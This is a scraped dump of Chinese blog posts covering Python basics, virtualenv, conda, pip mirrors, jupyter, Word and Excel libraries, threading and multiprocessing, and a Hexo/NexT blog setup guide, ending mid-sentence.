int(input(\u0026quot;请输入数据\u0026quot;))\rprint(data)\r类型转换（Python是弱类型语言，弱类型指不能对变量声明类型，只能声明数据的类型）\nint()整数,str()字符串,float()浮点数,bool()布尔数，list()列表，tuple()元组，chr()字符，unichr()Unicode字符等等\n例如：\ndata1 = \u0026quot;123\u0026quot;\rdata2 = 123\rprint(isinstance(data1,str))\rprint(isinstance(data2,int))\rdata3 = int(data1)\rdata4 = str(data2)\rprint(isinstance(data3,int))\rprint(isinstance(data4,str))\r运算符\n+加，-减，*乘，/除，//取整除，%取余，**指数\n优先级和普通的算数规则一样，指数大于乘和除,取余,取整除大于加和减\n字符串不能和整数相加，必须将字符串或者整数转换，字符串为拼接，整数为算数\n赋值运算符\n=，将右边赋值给左边的变量，可以给多个变量赋值，例如：a = b = c = 666或者a,b,c = 666,123,100\na+=1 ：a=a+1，a-=1：a=a-1，a*=1：：a=a*1，a/=1：：a=a/1,a//=1: ：a=a//1,a%=1：a=a%1 ,a**=1：a=a**1\n==比较是否相等，!=比较不相等，\u0026gt;大于，\u0026lt;小于，\u0026gt;=大于等于，\u0026lt;=小于等于\nand和运算符（只有当比较全部为true才为true，否则都为false），or或运算符（只有当比较有一个为true才为true，全部为false才为false），not取反运算符（只有当比较为true才为false，当比较为false才为true）\nfor循环和while循环\nfor循环可以遍历任何以序列排序的东东，比如列表和字符串\nfor a in \u0026quot;hallo word\u0026quot;:\rprint(a)\r或者\nfot a in range(1,100):\rprint(a)\rrange支持3个参数，分别是起始，结束，以及步长\nwhile循环,在某个条件下为true下才会执行里面的语句\ndata = 0\rwhile data \u0026lt; 10:\rprint(data)\rdata+=1\r获取字符串或者列表的长度，len(data)\n查找某些内容是否在字符串的某些地方中存在（如果不存在，返回-1）,find(str,beg=0,end=len(strdata))\nstr为要查找的字符串，beg开始查找的位置，end结束查找的位置\n错误处理\n读取文件错误（当文件不存在时） try: abc = open(\u0026lsquo;data.txt\u0026rsquo;, \u0026lsquo;r\u0026rsquo;) print(abc.read()) except FileNotFoundError: print(\u0026lsquo;文件没有找到,请检查文件名称是否正确\u0026rsquo;)\ntry\u0026hellip;except语句可以处理程序运行过程中可能出现的异常\n面向对象\nclass ClassName():\r'test 定义类'\rname = 'hallo'\rage = 20\rdef abc(self): # 实例方法\rprint(self.name)\rprint(self.age)\rclassName = ClassName() # 实例化类\rclassName.abc() # 调用类的方法\r导入类\nfrom hallo import ClassName\rclassName = ClassName() # 实例化类\rclassName.abc() # 调用类的方法\r构造函数\nclass ClassName():\rname = 'hallo'\rage = 20\rdef __init__(self, name，age):\rself.name = name\rself.age = age\ra = ClassName('hahaha', 18)\rb = ClassName('abc', 100)\rprint(a.name)\rprint(a.__dict__)\rprint(b.name)\rprint(ClassName.name)\rclass ClassName():\rname = 'hallo'\rage = 20\rsum = 0\rdef __init__(self, name，age):\rself.name = name\rself.age = age\rself.__class__.sum += 1 # 每调用一次构造函数就触发+1\rprint(self.__class.sum)\r类方法\nclass ClassName():\rsum = 0\r@classmethod\rdef Sum(cls):\rcls.sum += 1\rprint(cls.sum)\rClassName.Sum()\r静态方法\nclass ClassName():\r＠staticmethod\rdef hallo(name, pass):\rprint(name,pass)\rClassName.hallo('hallo','123456')\rabc = ClassName()\rabc.hallo('hhhhh','666123')\r类的成员的公开性与私有性\nclass ClassName():\rname = 'hallo'\rage = 20\r__pass = ''\rdef __abc(self): # 给类的成员开头加上__将表示该成员是私有的，无法在类外部使用\rprint(self.name)\rprint(self.age)\r注意: 如果前后都有__，则表示公开的，如构造函数__init__，只有开头有__才是私有的，默认是公开的\nPython提供一种私有保护机制，当在类外部使用时，Python会将其认为是全新的，私有的是无法被更改的，例如：\nclass ClassName():\rname = 'hallo'\rage = 20\r__pass = '123'\rdef abc(self):\rprint(self.name)\rprint(self.age)\rclassname = ClassName()\rclassname.__pass = '123456'\rprint(classname.__dist__)\rprint(classname._classname__pass) # 实质是访问类里面的私有__pass\r可以看到原来的__pass变成了_classname__pass这个全新的名称，而显示__pass是新的'12345\u0026rsquo;\n类的继承\nclass ClassName():\rdef __init__(self):\rself.a = 123\rself.b = 666\rdef hhh(self):\rprint('hallo word')\rdef gogo(self):\rprint('hallo abc')\rclass Hallo(ClassName):\rdef __init__(self):\rsuper().__init__() # 调用父类的__init__，当子类重写的父类的方法后，还想调用父类原来的方法，可使用super()，该语句块实质上也是在重写的父类的__init__方法，因此需要在子类的__init__调用父类原来的__init__\rdef abc(self):\rreturn self.a + self.b # 继承父类的属性\rdef gogo():\rprint('hallo python') # 重写父类的gogo方法\rhallo = Hallo() hallo.hhh # 调用父类的hhh方法 hallo.a # 调用父类的属性\n正则表达式\n判断某个字符串中是否存在某个字符\nimport re\rabc = \u0026quot;hallo word\u0026quot;\rxyz = re.findall(\u0026quot;hallo\u0026quot;,abc)\rif len(xyz) \u0026gt; 0:\rprint(\u0026quot;字符串包含hallo\u0026quot;)\relse:\rprint(\u0026quot;字符串不包含hallo\u0026quot;)\r筛选出某个字符串中存在的数值\nimport re\rabc = \u0026quot;0hallo1 word2\u0026quot;\rxyz = re.findall('\\d',abc)\rprint(xyz)\r\\d是元字符，\\d也是概括字符集，\\d可以使用[0-9]实现相同的效果\n字符集\nimport re\rabc = \u0026quot;aha, aca, ada, aaa, aea\u0026quot;\rxyz = re.findall('a[ha]a',abc)\r// xyz = re.findall('a[^ha]a',abc) // aea，^是取反\r// xyz = re.findall('a[c-e]a',abc) // aca，ada，aea，c-e表示c，d，e\rprint(xyz) // aha和aaa\r数量词\nimport re\rabc = \u0026quot;hallo word hhhhhh\u0026quot;\rxyz = re.findall('[a-z]{3,6}',abc) // 数量词使用{}包括，3,6表示匹配3到6个字符\rprint(xyz)\r贪婪与非贪婪\n匹配会最大匹配，像上面的数量词的例子，hallo并没有因为3而匹配hal，而是最大匹配，直到匹配的字符不符合才停止，这就是贪婪匹配\nimport re\rabc = \u0026quot;hallo word hhhhhh\u0026quot;\rxyz = re.findall('[a-z]{3,6}?',abc)\rprint(xyz)\r上面的例子就是非贪婪的，匹配会最小匹配\n匹配0次或无限次\nimport re\rabc = \u0026quot;aba abcc abccd abc\u0026quot;\rxyz = re.findall('abc*',abc)\rprint(xyz)\r匹配1次或无限次\nimport re\rabc = \u0026quot;aba abcc abccd abc\u0026quot;\rxyz = re.findall('abc+',abc)\rprint(xyz) // abcc，abccd，abc\r匹配0次或1次\nimport re\rabc = \u0026quot;aba abcc abccd abc\u0026quot;\rxyz = re.findall('abc?',abc)\rprint(xyz) // abc abc abc\r边界匹配符\n由于匹配只针对最小匹配，最大匹配无效，例如\nimport re\rabc = \u0026quot;123456789\u0026quot;\rxyz = re.findall('\\d{3,6}',abc)\rprint(xyz) // 123456，明明不符合6，但是还是输出了\r边界匹配符就是解决这个问题的\nimport re\rabc = \u0026quot;123456789\u0026quot;\rxyz = re.findall('^\\d{3,6}$',abc) // ^表示该位置开始匹配，$表示该位置结束匹配\rprint(xyz) 组\nimport re\rabc = \u0026quot;abc abc xyz hallo abc abc xyz word\u0026quot;\rxyz = re.findall('(abc)(xyz)',abc)\rprint(xyz) json反序列化（json字符串转python字典）\nimport json\rabc = '{\u0026quot;name\u0026quot;: \u0026quot;admin\u0026quot;, \u0026quot;pass\u0026quot;:\u0026quot;abc123\u0026quot;}'\rxyz = json.loads(abc)\rprint(type(xyz)) // dict字典\rprint(xyz) print(xyz['name']) print(xyz['pass']) json序列化（python字典转json字符串）\nimport json\rabc = [\r{\u0026quot;name\u0026quot;: \u0026quot;admin\u0026quot;, \u0026quot;pass\u0026quot;:\u0026quot;abc123\u0026quot;},\r{\u0026quot;name\u0026quot;: \u0026quot;root\u0026quot;, \u0026quot;pass\u0026quot;:\u0026quot;1234567\u0026quot;}\r]\rxyz = json.dumps(abc)\rprint(type(xyz)) // str字符串\rprint(xyz) 枚举\nfrom enum import Enum\rclass ABC(Enum):\rID = 1\rUSER = 2\rPASS = 3\rprint(ABC.ID)\rprint(type(ABC.ID)) // ABC类型\rprint(ABC.ID.name) // 枚举名称\rprint(ABC.ID.value) // 枚举值\rprint(ABC.ID == ABC.USER) // 枚举的比较，不支持大小比较，只支持等值比较\rprint(ABC.ID in ABC.USER)\rfor i in ABC.__members__.items():\rprint(i) // 遍历枚举名称和值，如果只要枚举名称，则去掉.items()\r枚举和类的区别：枚举值不可变，枚举具备防止枚举名称重复的功能\n","permalink":"https://xiaochenabc123.github.io/posts/28/","summary":"安装python\n推荐安装anaconda3（linux）\nwget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh\ndash Anaconda3-2019.10-Linux-x86_64.sh\n根据提示安装，如果还是系统自带的python\nsudo gedit ~/.bashrc\nexport PATH=\u0026quot;/home/pc/anaconda3/bin:$PATH\u0026quot;\npc为系统的用户名，请修改成自己的系统用户名，请勿在root用户下安装anaconda3\n注意：如果使用anaconda3，请设置Path环境变量，/Anaconda3，/Anaconda3/Scripts，/Anaconda3brary/bin，这3个路径都需要设置\nWindows和mac 到官网下载安装包，直接下一步安装\nmac安装了Homebrew，可以使用brew install python3\nWindows设置环境变量，PATH 安装路径\n现在liunx一般都会自带有python3,如果没有可以安装一下\napt install python3\nyun install python3\n注意一下python2.x和python3.x这两个版本是不兼容的，要区分开\n检查是否安装成功，在命令行或者终端输入python3 回车 没有反应或者报错就说明没有安装成功或者可能出问题了 Windows的一定要注意PATH系统变量\n因为Python语言从规范到解释器都是开源的，所以存在多个解释器\n例如CPython，安装python3.x时就可以直接获取到一个官方版本的解释器：CPython，因为是使用C语言开发的，所以叫CPython\n在命令行或者终端，输入输入python3 回车，如果出现了\u0026raquo;\u0026gt; 那么当前状态是python的交互模式\n在交互模式下输入exit()，退出python的交互模式\n在交互模式下执行第一个程序 print(\u0026ldquo;hello,world\u0026rdquo;)\n回车输出hello，world，这是简单的打印字符串\n除了使用交互模式执行程序，又可以使用.py，在命令行或者终端下 python hello.py，如果报错，请检查程序是否出错或者该文件是否在当前目录下\n交互模式可以直接输出结果，但是使用.py文件却不会，想要输出结果，必须使用print()打印出来\n一个好的开发工具往往可以达到事半功倍的效果，例如pycharm和Visual Studio Code，我使用的是Visual Studio Code\nprint()接受多个输出，使用“,”分隔开，也可以输出整数\n当你想让用户输入一点东西的时候，python提供了一个input()，用法如下 name = input() 将输入的值存放到一个变量里\ninput()还提供了提示功能，显示一个字符串，例如：input(\u0026ldquo;xxxxx\u0026rdquo;)\n我想知道这个变量的内容咋办，可以在交互模式下直接输入变量名，回车，就可以查看该变量的内容 又可以使用print()打印下来\n那么什么是变量呢？\n在计算机程序中，变量不仅可以为整数或浮点数，还可以是字符串\n输入是Input，输出是Output，输入输出统称为Input/Output，或者简写为IO\n以#开头的语句是注释，注释是给人看的，解释器会忽略掉注释，注释可以是任何内容\n其他每一行都是一个语句，当语句以冒号:结尾时，缩进的语句视为代码块\n注意：python区分大小写，搞错了大小写，程序可能会报错。缩进建议使用4个空格\npython能直接处理的有：整型，浮点型，字符串，布尔值，空值，变量，常量\npython可以处理整型任意大小的整数，也可以使用二进制代表整数、\n浮点型就是小数，使用科学记数法表示时，一个浮点数的小数点位置是可变的，所以小数又叫浮点型，表示很大或很小的浮点数，必须用科学计数法表示\n字符串是使用\u0026quot;\u0026ldquo;和\u0026rsquo;\u0026lsquo;括起来的任意文本，\u0026lsquo;\u0026lsquo;或\u0026quot;\u0026ldquo;本身只是一种表示方式，不是字符串的一部分","title":"python基础语法笔记"},{"content":"Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境\n用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响\n当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题\nWindows pip install virtualenvwrapper-win\n使用pip安装Virtualenv\npip3 install virtualenv\n然后创建一个Virtualenv虚拟环境\nvirtualenv webpy #webpy为虚拟环境目录名，目录名自定义\nvirtualenv -p python环境路径 虚拟环境名 #创建指定Python环境路径的虚拟环境\nvirtualenv \u0026ndash;no-site-packages 虚拟环境名 #创建一个干净的Python虚拟环境，系统Python环境的所有第三方包不会复制过来\nvirtualenv \u0026ndash;no-site-packages \u0026ndash;python=版本名 虚拟环境名 #创建一个指定python版本的虚拟环境\nworkon # 输出所有虚拟环境名 Windows\nworkon 虚拟环境名 # 进入虚拟环境 Windows\nsource 文件夹路径 # 激活当前virtualenv并进入虚拟环境\n或者进入虚拟环境目录的bin目录，输入source activate\nWindows是在虚拟环境目录下的Scripts目录，输入activate\ndeactivate # 退出当前环境\n在虚拟环境下，使用pip安装的所有第三方包都会安装到当前的虚拟环境中，不会对系统的Python环境进行\u0026quot;污染\u0026quot;\n想要删除某一个虚拟环境时，只需要将虚拟环境的目录删除\npip使用国内源\n清华：https://pypi.tuna.tsinghua.edu.cn/simple 豆瓣：http://pypi.douban.com/simple/ 中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/\n临时使用 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas\nlinux下\n配置永久使用\ncd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip.conf # 新建一个文件 nano pip.conf # 编辑文件，这里使用nano，可以使用其他编辑器，例如vim\n在文件中添加 [global] index-url = https://pypi.tuna.tsinghua.edu.cn/simple\nwindows下\n配置永久使用\n在user目录下创建一个pip目录\n在该目录新建一个pip.ini文件\n在文件中添加 [global] index-url = https://pypi.tuna.tsinghua.edu.cn/simple [install] trusted-host = pypi.tuna.tsinghua.edu.cn\njupyter\n最简单的安装方法就是使用python的科学计算包\u0026mdash;-Anaconda\n该发行版中包含了大量的科学包，其中就附带了jupyter\n可以通过 pip 来安装 pip install jupyter notebook\n启动notebook服务器也很简单，在终端使用jupyter notebook命令就可以了‘’\n服务器的默认地址是http://localhost:8888\n通过点击“New”，来新建文件夹或者文档\n通过ctrl+c来关闭服务器\n修改jupyter默认工作路径\n在终端使用jupyter notebook \u0026ndash;generate-config\n输出一个路径的文件，修改这个文件\n找到#c.NotebookApp.notebook_dir = ''\n修改成c.NotebookApp.notebook_dir = \u0026lsquo;你想要修改到的那个工作目录的路径\u0026rsquo;\n这个工作目录必须提前创建好，否则可能出现闪退\n修改默认浏览器\n同样在终端使用jupyter notebook \u0026ndash;generate-config\n如果你已经知道这个文件在哪里可以不用，这个命令只是让我们找到jupyter的配置文件，jupyter_notebook_config.py\n找到#c.NotebookApp.notebook_dir = ''\n在它的后面加入\nimport webbrowser\rwebbrowser.register(\r\u0026quot;Microsoft Edge\u0026quot;, None, webbrowser.GenericBrowser(u\u0026quot;\u0026quot;C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\u0026quot;\u0026quot;)\r)\rc.NotebookApp.browser = \u0026quot;Microsoft Edge\u0026quot;\r路径要修改为浏览器的路径\nconda\nconda有两个，一个是anaconda，另一个是miniconda\nanaconda是集成（包含）了一些科学计算包，而miniconda是你要用什么就装什么\nMiniconda 是一个 Anaconda 的轻量级版本，默认只包含了 python 和 conda，但是可以通过 pip 和 conda 来安装所需要的包。\n这里安装的minicoda\nwget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh\nbash Miniconda3-latest-Linux-x86_64.sh\n如果是新机器，一路yes就可以了\n创建环境\nconda create \u0026ndash;name webpy python=3.7 // 建立一个名叫py37的环境，指定Python版本为Python3.7的最新版本\n激活环境\nactivate webpy // 用于Windows系统 source activate webpy // 用于mac或者linux系统\npython \u0026ndash;version // 检查Python版本\n退出当前环境 deactivate webpy // 用于Windows系统 source deactivate webpy // 用于mac或者linux系统\nconda remove \u0026ndash;name webpy \u0026ndash;all // 删除指定环境\nconda info -e // 查看系统的所有环境\nconda install numpy // 安装numpy库\nconda list // 查看已经安装好的库\nconda list -n webpy // 查看指定环境已经安装好的库\nconda install -n webpy numpy // 安装库到指定环境内\nconda update -n webpy numpy // 指定环境更新指定库\nconda remove -n webpy numpy // 删除指定环境中的指定库\nconda update anaconda // 更新anaconda\nconda update python // 更新Python\n添加国内镜像来提升下载速度（使用清华镜像站）\nconda config \u0026ndash;add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config \u0026ndash;add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ conda config \u0026ndash;set show_channel_urls yes\ndocx模块（操作Word）\n导入模块 from docx import Document from docx.shared import Inches\n初始化Document对象 document = Document() Document(\u0026ldquo;1.docx\u0026rdquo;)\n写入标题，段落样式由level控制，范围0到9，默认为1 document.add_heading(text=\u0026ldquo;hallo word\u0026rdquo;,level=9)\n写入段落，段落样式由style控制 data = document.add_paragraph(text=\u0026ldquo;https://xiaochenabc123.test.com/\u0026quot;,style=None)\n插入段落到现有段落中，段落样式由style控制 data.insert_paragraph_before(text=\u0026ldquo;abcxyz\u0026rdquo;,style=None)\n插入图片,并且缩小图片英寸为1.6 document.add_picture(\u0026ldquo;1.jpg\u0026rdquo;,width=Inches(1.6))\n插入表格，rows是指定行数，cols是指定行数，style为表格样式 table = document.add_table(rows=1,cols=3,style=\u0026ldquo;Table Grid\u0026rdquo;)\n插入列表中第一行的单元格\nmaincells = table.rows[0].cells maincells[0].text = \u0026ldquo;id\u0026rdquo; maincells[1].text = \u0026ldquo;user\u0026rdquo; maincells[2].text = \u0026ldquo;pass\u0026rdquo;\n初始化 data_cells =( [1,\u0026ldquo;root\u0026rdquo;,\u0026ldquo;a\u0026rdquo;], [2,\u0026ldquo;admin\u0026rdquo;,\u0026ldquo;b\u0026rdquo;], [3,\u0026ldquo;user\u0026rdquo;,\u0026ldquo;c\u0026rdquo;] )\n写入 for item in data_cells: maincells_rows = table.add_row().cells maincells_rows[0].text = str(item[0]) maincells_rows[1].text = item[1] maincells_rows[2].text = item[2]\n保存 document.save(\u0026ldquo;hallo.docx\u0026rdquo;)\ndocx样式\n导入模块\nfrom docx import Document from docx.shared import Pt from docx.shared import RGBColor from docx.oxml.ns import qn\n初始化Document对象 document = Document(\u0026ldquo;1.docx\u0026rdquo;)\n插入页眉 header = document.sections[0].header\nheader.add_paragraph(\u0026ldquo;hallo python\u0026rdquo;)\n插入页脚 footer = document.sections[0].footer\nfooter.add_paragraph(\u0026ldquo;hallo word\u0026rdquo;)\n样式 p1 = document.add_paragraph() text1 = p1.add_run(\u0026ldquo;hallo WORD，hallo python-docx，你好，世界\u0026rdquo;)\n字体大小 text1.font.size = Pt(16)\n字体是否加粗 text1.bold = True\n字体 text1.font.name = \u0026ldquo;黑体\u0026rdquo;\n字体（只能设置中文） text1.element.rPr.rFonts.set(qn(\u0026ldquo;w:eastAsia\u0026rdquo;), \u0026ldquo;黑体\u0026rdquo;)\n字体颜色 text1.font.color.rgb = RGBColor(0, 0, 255)\n斜体 text1.italic = True\n下划线 text1.underline = True\n保存 document.save(\u0026ldquo;hallo.docx\u0026rdquo;)\nxlrd模块+xlwt模块(操作xlsx)\n注意：xlrd模块只有低于或等于1.2.0版本才能操作xlsx文件，高于该版本只支持xls文件，或者使用openpyxl代替xlrd模块\n导入xlrd模块 import xlrd\n加载1.xlsx data = xlrd.open_workbook(\u0026ldquo;1.xlsx\u0026rdquo;)\n判断是否加载成功，可以指定第几张工作表，0为第一个工作表 print(data.sheet_loaded(0)) #True\n卸载指定工作表 data.unload_sheet(0)\n输出全部工作表名字（Sheet） print(data.sheet_names())\n输出工作表的数量 print(data.nsheets)\n输出全部所有sheet对象 print(data.sheets())\n将指定工作表索引到变量中 main = data.sheet_by_index(0)\n名字索引到变量中 main = data.sheet_by_name(\u0026ldquo;Sheet1\u0026rdquo;)\n输出工作表名字 print(main.name)\n输出工作表有效总行数 print(main.nrows)\n输出工作表有效总列数 print(main.ncols)\n输出工作表有效总列数 print(main.row_len(1))\n输出单元格值类型和内容 print(main.row(0))\n数据类型： 空：0 字符串：1 数字：2 日期：3 布尔：4 error：5\n输出第1行第二列的单元格内容 print(main.row(0)[1].value)\n输出第二列表的全部内容 print(main.col(1))\n输出第一行的内容 print(main.row_values(0))\n输出单元格数据类型 print(main.row_types(0))\n输出第一列的内容 print(main.col_values(0))\n输出第二列的数据类型 print(main.col_types(1))\n输出第6行第一列内容和数据类型 print(main.cell(5,0))\n输出第6行第一列内容的数据类型 print(main.cell(5,0).ctype)\n输出第6行第一列内容 print(main.cell(5,0).value)\n利用xlwt模块写\n导入xlwt模块 import xlwt\nxlwt模块不支持xlsx，只支持xls\n新建workbook，字符集为utf-8 hallo = xlwt.Workbook(encoding=\u0026ldquo;utf8\u0026rdquo;)\n新建sheet abc = hallo.add_sheet(\u0026ldquo;Sheet1\u0026rdquo;)\n第1行到第3行和第1列到第9列合并并且写入hallo word abc.write_merge(0,2,0,8,\u0026ldquo;hallo word\u0026rdquo;)\n在第4行第1列写入hallo word abc.write(3,0,\u0026ldquo;hallo word\u0026rdquo;)\n批量写入 data = ((1,\u0026ldquo;hallo\u0026rdquo;,\u0026ldquo;abc\u0026rdquo;,\u0026ldquo;xyz\u0026rdquo;,123),(1,\u0026ldquo;hallo\u0026rdquo;,\u0026ldquo;abc\u0026rdquo;,\u0026ldquo;xyz\u0026rdquo;,123))\nfor i,a in enumerate(data):\rfor q,s in enumerate(a):\rabc.write(i,q,s)\r在第1行第1列写入图片，只支持bmp格式 abc.insert_bitmap(\u0026ldquo;1.bmp\u0026rdquo;, 0, 0)\n保存 hallo.save(\u0026ldquo;hallo.xls\u0026rdquo;)\n样式\n初始化 style = xlwt.XFStyle()\n初始化样式 stylefont = xlwt.Font()\n名称 stylefont.name = \u0026ldquo;宋体\u0026rdquo;\n加粗 stylefont.bold = True\n字号 stylefont.height = 11*20\n字体颜色，注意不是RGB颜色，而是在xlwt内部定义的 stylefont.colour_index = 0x0A\nstyle.font = stylefont\n初始化Alignment align = xlwt.Alignment()\n水平对齐方式 align.vert = 0x01\n垂直对齐方式 align.horz = 0x00\n应用对齐方式 style.alignment = align\n水平对齐方式 0x01(左端对齐) 0x02(水平居中对齐) 0x03(右端对齐)\n垂直对齐方式 0x00(上端对齐) 0x01(垂直居中对齐) 0x02(底部对齐)\n初始化Borders borders = xlwt.Borders()\n指定边框样式 borders.right = xlwt.Borders.DASHED\n应用边框 style.borders = borders\ntop 上边框 bottom 下边框 left 左边框 right 右边框\nDOTTED 点线 DASHED 虚线\n初始化Pattern color = xlwt.Pattern()\n填充模式为完全填充 color.pattern = xlwt.Pattern.SOLID_PATTERN\n填充黑色 color.pattern_fore_colour = 0\n应用 style.pattern = color\n应用style abc.write_merge(0,2,0,8,\u0026ldquo;hallo word\u0026rdquo;,style)\nxlrd和xlwt使用起来不是很好，而且xlwt模块不支持xlsx，因此不详细写，openpyxl才是王道\nCelery是一个基于Python开发的分布式任务调度模块\n安装\npip install celery[redis]\n如果需要redis消息中间件的话，也可以选择RabbitMQ\neasy_install是一个基于setuptools的工具，可以用来下载，编译，管理Python的包\n官网：http://peak.telecommunity.com/DevCenter/EasyInstall\n安装setuptools就会安装easy_install\npip install setuptools\n或者通过ez_setup.py来安装\nhttps://pypi.org/project/ez_setup/\n下载ez_setup.py的源程序\n安装easy_install： python ez_setup.py\n更新easy_install: python ez_setup.py –U setuptools\n安装包\neasy_install Virtualenv\n也可以通过url来安装\n将已经安装的到pypl上最新版本\neasy_install \u0026ndash;upgrade PyProtocols\n更新包\neasy_install \u0026ldquo;Virtualenv==x.x\u0026rdquo;\n或者要求版本大于某个版本：\neasy_install \u0026ldquo;Virtualenv\u0026gt;x.x\u0026rdquo;\n查找PyPI上的最新可用版本\neasy_install \u0026ndash;upgrade Virtualenv\n删除包\n只需要删除包名版本的.egg文件或者目录，如果不想继续使用删除的包，然后easy_install -mxN 包名\nPython内置多线程库threading\n进程是资源分配的最小单位，一个程序必须至少有一个进程，一个进程必须至少有一个线程\n线程是程序执行的最小单位，多线程是可以有效加速程序计算\n进程的资源独立（独立内存，地址空间等等），而线程是可以共享进程中的数据的（IPC），同一个进程下的线程，共享使用相同的地址空间（全局），但是也存在数据同步和互相排斥的问题\n导入threading模块\nimport threading\n查看全部正在运行的线程信息（不包括没启动或者已经终止的线程）\nthreading.enumerate()\n查看正在运行的线程的数量\nthreading.active_count()\n查看正在运行的线程信息\nthreading.current_thread()\n添加线程（需要接受target参数，该参数指向这个线程要完成的任务）\nthreading.Thread(target=xxx)\n启动线程\nthread.start()\n终止线程（会等待线程终止）\nthread.join()\n简单的例子：\nimport threading\rdef funs(name,data):\rprint(\u0026quot;hallo\u0026quot;,name,data)\ra1 = threading.Thread(target=funs, args = (\u0026quot;root\u0026quot;,666))\ra1.start()\ra1.join()\r执行后如果看到hallo root 666就说明已经执行线程成功了\n线程锁Lock\n同一进程下的线程是可以共享内存的，而Lock是保证多线程之间不会出现内存被乱改或者没有同步，多线程在执行修改内存后，进行lock.acquire()共享内存上锁，执行完毕在解锁lock.release()\nPython多进程库multiprocessing\nmultiprocessing库用法和threading类似，例如：\nimport multiprocessing def funs(name,data): print(\u0026ldquo;hallo\u0026rdquo;,name,data) if name==\u0026rsquo;main\u0026rsquo;: a1 = multiprocessing.Process(target=funs, args = (\u0026ldquo;root\u0026rdquo;,666)) a1.start() a1.join()\n进程池 Pool（进程池就是将需要完成的任务，放到该进程池中，由Python自己解决多进程问题）\n例如：\nimport multiprocessing\rdef demo(x):\rreturn x+x\rdef funs():\rpool = multiprocessing.Pool()\rdata = pool.map(demo, range(3))\rprint(\u0026quot;hallo\u0026quot;,data)\rif __name__=='__main__':\rfuns()\rPool自定义需调用核数量（默认为CPU的核数）\npool = multiprocessing.Pool(processes=4)\r进程锁和线程锁用法一样，就不写了\n","permalink":"https://xiaochenabc123.github.io/posts/27/","summary":"Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境\n用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响\n当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题\nWindows pip install virtualenvwrapper-win\n使用pip安装Virtualenv\npip3 install virtualenv\n然后创建一个Virtualenv虚拟环境\nvirtualenv webpy #webpy为虚拟环境目录名，目录名自定义\nvirtualenv -p python环境路径 虚拟环境名 #创建指定Python环境路径的虚拟环境\nvirtualenv \u0026ndash;no-site-packages 虚拟环境名 #创建一个干净的Python虚拟环境，系统Python环境的所有第三方包不会复制过来\nvirtualenv \u0026ndash;no-site-packages \u0026ndash;python=版本名 虚拟环境名 #创建一个指定python版本的虚拟环境\nworkon # 输出所有虚拟环境名 Windows\nworkon 虚拟环境名 # 进入虚拟环境 Windows\nsource 文件夹路径 # 激活当前virtualenv并进入虚拟环境\n或者进入虚拟环境目录的bin目录，输入source activate\nWindows是在虚拟环境目录下的Scripts目录，输入activate\ndeactivate # 退出当前环境\n在虚拟环境下，使用pip安装的所有第三方包都会安装到当前的虚拟环境中，不会对系统的Python环境进行\u0026quot;污染\u0026quot;\n想要删除某一个虚拟环境时，只需要将虚拟环境的目录删除\npip使用国内源\n清华：https://pypi.tuna.tsinghua.edu.cn/simple 豆瓣：http://pypi.douban.com/simple/ 中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/\n临时使用 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas\nlinux下\n配置永久使用\ncd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip.","title":"Python的一些神器的简单用法"},{"content":"hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦\napt install npm\nnpm install hexo-cli -g\nhexo init blog\ncd blog\nnpm install\nhexo server\n使用NexT\napt install git\ngit clone https://github.com/theme-next/hexo-theme-next.git\n把hexo-theme-next文件夹放到hexo根目录的themes文件夹下\n启动主题\n打开hexo目录下的_config.yml文件，这个文件为站点配置文件\n找到theme，修改值为hexo-theme-next\n调试模式\nhexo s \u0026ndash;debug 查看是否输出有错误，方便修改错误信息\n选择主题\n打开主题的根目录的_config.yml文件，这个文件是主题配置文件\n找到scheme，需要启动的在前面去掉#注释即可，不需要就加注释#\n设置 语言\n打开站点配置文件，修改language为需要的语言zh-CN\n修改菜单\n打开主题配置文件，找到menu，需要用到的菜单就去掉#，不需要就加#\nhome 主页 archives 归档页 categories 分类页 tags 标签页 about 关于页面 commonweal公益 404\n修改对应的语言翻译\n主题目录下languages/zh-CN.yml\n设定菜单项的图标，可以使用的是Font Awesome 图标\n设置 侧栏\n打开主题配置文件\n修改sidebar.position的值\nleft - 靠左放置 right - 靠右放置\n设置 头像\n打开主题配置文件，修改avatar值设置成头像的链接地址\n可以是url，也可以站点内的地址\n设置 作者昵称\n打开站点配置文件，设置 author 为作者的昵称\n站点描述\n打开站点配置文件\n设置 description 字段为你的站点描述\n百度统计\n打开主题配置文件\n修改字段 baidu_analytics 字段，值设置成百度统计 id\n添加RSS功能\nnpm install hexo-generator-feed –save\n编辑主题配置文件，修改rss，rss: /atom.xml\n标签 页面\nhexo new page tags\ntype: \u0026ldquo;tags\u0026rdquo;\n分类 页面\nhexo new page categories\ntype: \u0026ldquo;categories\u0026rdquo;\n设置代码高亮主题\n打开主题配置文件\n修改highlight_theme\n可选的值有 normal，night， night blue， night bright， night eighties\n侧边栏社交链接\nsocial\n格式是 显示文本: 链接地址\nsocial_icons\n格式是 匹配键: Font Awesome 图标名称\n友情链接\n打开主题配置文件\nlinks\n404页面\n新建 404.html 页面，放到主题的 source 目录下\n推荐使用腾讯公益404页面\n站点建立时间\n打开主题配置文件，since\n来必力\n打开主题配置文件，livere_uid: LiveRe UID\nGoogle 分析\n打开主题配置文件， 